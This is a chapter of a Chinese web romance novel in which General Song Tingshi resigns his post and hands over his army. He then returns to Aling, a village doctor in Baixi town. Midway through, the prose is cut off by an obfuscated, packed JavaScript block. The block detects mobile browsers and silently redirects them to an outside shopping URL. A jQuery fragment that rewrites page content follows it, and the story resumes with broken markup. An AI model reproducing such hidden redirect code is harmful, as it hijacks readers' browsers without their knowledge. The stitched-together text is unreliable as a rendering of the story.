86. 辞官

作品:《捡个将军做夫君

    “和颂将军这是怎么了?谁惹您生气了。”长风看着那地上湿了的地方。


    和颂没理他,走了。


    长风摇摇头往帐内去,宋听时还坐在案前,整理着军务,长风寻问道:“主子,和颂将军吃枪药了,怎么火气这么大。”


    宋听时淡淡说:“耍性子呢,还跟少时一样。”


    长风将适才和颂坐乱的位置收拾了下,转身问:“耍什么性子,主子惹她了?”


    宋听时也没抬头,就这么说:“此次功成,我打算将宋家军交给她。”


    “什么?”长风讶异,“主子好端端的为何要将宋家军的兵权交出去。”


    见宋听时不说话了,长风更是心急,“主子?”


    “你跟着我多少年了?”宋听时道。


    长风声音沉下来,“自主子年幼时属下便跟着,已经不记得几年了。”


    “你跟御风是本家兄弟,御风在皇帝跟前升了禁军统领之位,这些年你跟着我也不过是个副将,难道就没有想自己也带带兵?”宋听时起身走近长风。


    “只要能跟着主子,长风无所谓官职。”


    “可你总该要为自己而活,”宋听时拍着他肩头,“明日天水城第三批兵力会抵达沧州,你去接应,早些回去歇着吧。”


    长风出了军帐,久站门外,此时五味杂陈,摸不清宋听时到底何意,但能体会到适才和颂出来之时那股怒意。


    翌日西境天水城的援兵尽数到齐,该是北齐反击之日,宋听时与和颂还有长风兵分三路,同时进攻大朔主营地,大朔经过前一次的挫败,军心本就不稳,加上北齐援兵倾巢而出,打得大朔猝不及防毫无还手之力。


    大朔使臣送来和谈书,消息传到上京城,楚君屹龙颜大悦。


    北齐与大朔签订了长达二十年的休战条约,大朔的兵力不得越过北齐的防线,北齐军凯旋回朝。


    崇光殿下,将士们等着封赏嘉奖,和颂被封为正一品西境督护大将军,宋听时封为定北候,二人手下的将领也依次受封嘉爵。


    当所有人的接旨谢恩时,唯独宋听时未接,他跪在崇光殿下,“陛下,这定北候之位臣恐是不能接受。”


    “为何啊?”楚君屹面上的笑容停止。


    “陛下可还记得臣出征前向陛下讨过一个恩典。”宋听时双手抱拳。


    “记得,你且说来,你既不要爵位,那你想要什么?”


    “臣宋听时承蒙陛下多年信任,才能辅佐君王身前,为北齐驱逐外敌,如今北齐与大朔签订休战条约,北境与西境外患已除,陛下年少,大可再开创太平盛世,武将功成身退,臣也想做这太平盛世下的一粟普通百姓,臣恳求陛下准允,将宋家军兵权交由和颂将军,允臣辞去大将军一职。”宋听时言辞恳恳,在场授封的朝臣将领皆唏嘘不已。


    和颂却早料到他今日会来这一出。


    打定大朔战败时,他极力促成两国和谈便是为此做足准备,他这是要功成身退,却把担子都压给她,和颂望着他的背影,真想给他来一拳。


    这事对楚君屹来说属实过于突然,北齐难得有这么一位大将军镇守,才让大朔甘愿退避三舍,可宋听时看来并不是如此,大朔惧怕的是北齐军,并非是他宋听时,即便没有他也会有后来者,替天下百姓守护边境。


    他为新帝扫除障碍,肃清逆党,驱逐外敌,算是还了与楚君屹的兄弟之情又或是君臣之义,都不重要,此后他便只活自己,不被军机要务掣肘,无需为江山社稷考量。


    或许他可以只为一人。


    “朕虽是应了你恩典,君无戏言,可是你此举是何用意?”楚君屹起身站在高殿之上,俯瞰着朝臣。


    “此事朕自有定夺,诸位爱卿先退下吧,宋将军留下。”


    楚君屹独留下宋听时,待其余人等出了崇光殿,楚君屹下了高台,收起那份帝王威严,“阿时,今日你这请求到底是何意?”


    宋听时仍然恭敬道,“陛下,臣要辞去大将军一职,心意已决,北齐贤能辈出,会有新的将领为陛下守这江山社稷的。”


    “你与朕自幼相识,虽未有亲缘,胜过血脉至亲,朕为亲王那会儿,是个不受宠的闲散王爷,若不是你,朕也不能活到今日,你从前站在城墙上与朕谈论天高海阔,指点江山,是以你不是能轻拿轻放的人,而今立了万世功名,却要一切从零,别与朕说是为了三年前弃你而去的人。”


    二人不知不觉走到崇光殿外,烈日涉过金碧辉煌的宫殿,宋听时不疾不徐说,“除去这身官袍,我也不过是个普通的人,从前只想着要将这担子承起来,总以为陛下需要我,宋家军需要我,答应陛下的事,宋听时都做到了,还陛下一个太平盛世,给宋家军找个好的归宿。”


    “和颂是最适合的人选,陛下,给她一次机会吧,也是给宋听时一个机会。”


    “到底还是为了女人。”楚君屹还想不大明白,曾经叱咤风云的人物,也会因为一个女子甘堕凡尘。


    “陛下,宋听时此身不欠任何人了,唯独欠她,我在梵幽谷对她许下的承诺未能做到,我该要为自己说过的话负责,我将她从山谷里带出来,不只是因为恩情的。之所以今日在授封时提出来,是因为我相信陛下会理解我的。”


    楚君屹心底有些乱,他不想宋听时辞去官职,但也了解他的脾性,他下定决心的事情就算圣旨也难拉回来。


    他抬头对着日光,刺目得让他不禁闭眼,任由光芒打在脸上,最终说道:“如你所愿。”


    宋听时扬起笑,心底的石头下坠,激荡起涟漪,猛地跪地:“谢陛下成全。”


    “也不只是成全你,”楚君屹抬手去扶起他,“你将所有事都安排好了,朕没理由再驳回你的请旨,君无戏言。”


    宋听时出宫时,已是酉时,他站在阶上,心底念着白溪镇那个医馆,这个时辰阿漓应该下工了,时隔一年,她还会在那吗?


    正当他涉阶而下时,公主楚君悦唤住了他,“宋听时。”


    宋听时闻声转回头,俯身行礼:“公主,可有何事?”


    楚君悦手里牵着个不到五岁的孩童,那孩子长得很像一人。


    他往那瞟了几眼,楚君悦给他解惑道:“这是阿寻的孩子。”


    “楚寻芷的孩子怎么会在皇宫里?”宋听时打量着那孩子眉眼,像陆鸣珅的,而那脸蛋跟他娘楚寻芷一个模子里刻出来一样。


    楚寻芷被贬出上京城后便四处为家,昔日曲阳王旧属入狱的入狱,敲打的敲打,楚寻芷自然是无处可去,她一个女子带着孩子四处为家,身无分文还常遭受恶人欺凌,她性子又倔,乞讨的事情做不来,为了谋生低头哈腰也难为她。


    楚君悦多次瞒着皇帝暗中相助,差人送去银子,一年前的一个冬日,楚寻芷染上风寒,加上常年奔走劳苦落下旧疾,久不成医,最终熬不过去病逝了。


    孩子是楚君悦去求楚君屹才恩准让她带回宫里养的。


    只是这叛党子嗣,说出去会让人诟病,便随便编了个由头养在楚君悦的公主殿里,她与楚寻芷是自幼长大的姐妹,奈何她偏执固执受家族牵累最后遭此下场,可孩子是无辜的。


    她能做的也只有这么多了。


    宋听时听完来龙去脉,并未过多反应,只淡淡道了一句:“公主心善,只是公主未出阁膝下便养有一子,怕是对公主今后议婚有所为难,不过这婚姻大事定当别论,若所遇良人自然不会介意。”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13731576|134924||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>楚君悦轻笑道:“从你口中听到这些话还真是有些意外。”


    宋听时自幼与他们玩在一块,这样的话他实乃不会说的,除了与楚君屹会谈政事,她们闺阁女子的事,楚君悦和楚寻芷乐意给他讲,他也总是敷衍了事。


    “听闻皇兄说你辞官了。”


    宋听时嗯了一声。


    “辞官后要去哪?”楚君悦问道。


    宋听时答:“公主从陛下那过来的吧,想来陛下都跟您说了。”


    楚君悦没再多问,她自然是知道了。


    “宋听时保重。”楚君悦朝他粲然一笑。


    她身边的人走的走死的死,现下也就只留下兄妹二人了,偌大的皇宫,连个能谈心的人都没有。


    手里牵着的孩童扯了扯她衣袖,“皇姑姑~”


    楚君悦回神,往自己的宫殿去。


    宋听时处理完上京城的事,已是三日后。他孑然一身纵马出城南下。


    三日的疾行,可算到了白溪镇,镇口高阶上,一眼就能望到尽头的长街,一别已是一年。


    当他坐在茶肆里头,掌柜一眼便认出来,客气地给他上了一壶清茶,给他倒了一杯递到跟前,“这不是阿漓大夫家的表兄嘛,这隔了一年又来探亲来啦?”


    宋听时点头回礼,“多谢,医馆里的大夫还是从前的人吗?”


    他话里有话,没有第一时间回小院,也没有直接进去医馆,直觉告诉她,阿漓还在这。


    而掌柜的回答应证了这一点,“我们这样的小镇,医馆大夫都是稳定的,您不是知道了才来这等阿漓大夫下工的嘛,这几日病人少,看着也快到时辰了,您坐会儿。”


    宋听时笑道:“掌柜您忙。”


    过了半柱香,他那壶茶饮尽了,时辰差不多,他动身走到医馆檐下,里边阿漓与大夫和药童说话声传来。


    “严大夫,我先走了。”阿漓拿过药箱出门。


    刚跨过门槛,高大的身影压过来,阿漓低着头没看人,只觉挡住了路不自觉往一侧让了让,谁知那人也跟着动,阿漓又往另一侧移,那人仍是跟着移。


    正当阿漓要抬头时,宋听时伸出手,熟悉的声音入耳:“阿漓,我回来了。”


    阿漓对上他的视线,宋听时眼里含着千言万绪,阿漓怔在原地,嘴唇微张却不知该说什么。


    她在镇上这一年听过北境战况,民间流传着北齐的胜利,阿漓自然知道他荣胜归朝,可就算他要来白溪镇,也不会那么快,从大军回朝后现在也不过七日。


    没等她说话,宋听时接过她手中的药箱,朝她温润一笑,“阿漓,我们回家吧。”


    阿漓有些飘忽,原本稳健的步子有些乱了,宋听时让出道,让她走在前头。


    阿漓一路上想回头,却不知说什么,宋听时也不提,就是跟着,只是他的笑和今日田里的潮浪一样肆意。


    直到入了村口,他抬头看见木桥头那根木桩挂的竹灯笼还在。


    他忽而停下步子,对着身前走出距离的阿漓说:“我辞去了上京城的官职。”


    阿漓迈出的步子也停下,宋听时继续说:“以后都不走了,我每日都来接你下工。”


    海风扶过桥梁,荡起波澜,阿漓衣袂飘然,迎着风擦着面颊,仰头闭着眼,心底的顾虑在这一刻全然倾注,最好平淡地化作一句:“好。”


    见她提步继续走着,宋听时加快步子跑上去,她发上那根木簪,是自己送给她的,想到她一直带着,内心不由得意起来。


    跟着的距离越来越近,却始终没有越过去。小院还和一年前走的时候一样,什么都没有变。


    除了,除了他那间屋里的床板被拆了,堆满药柜子,一切如常。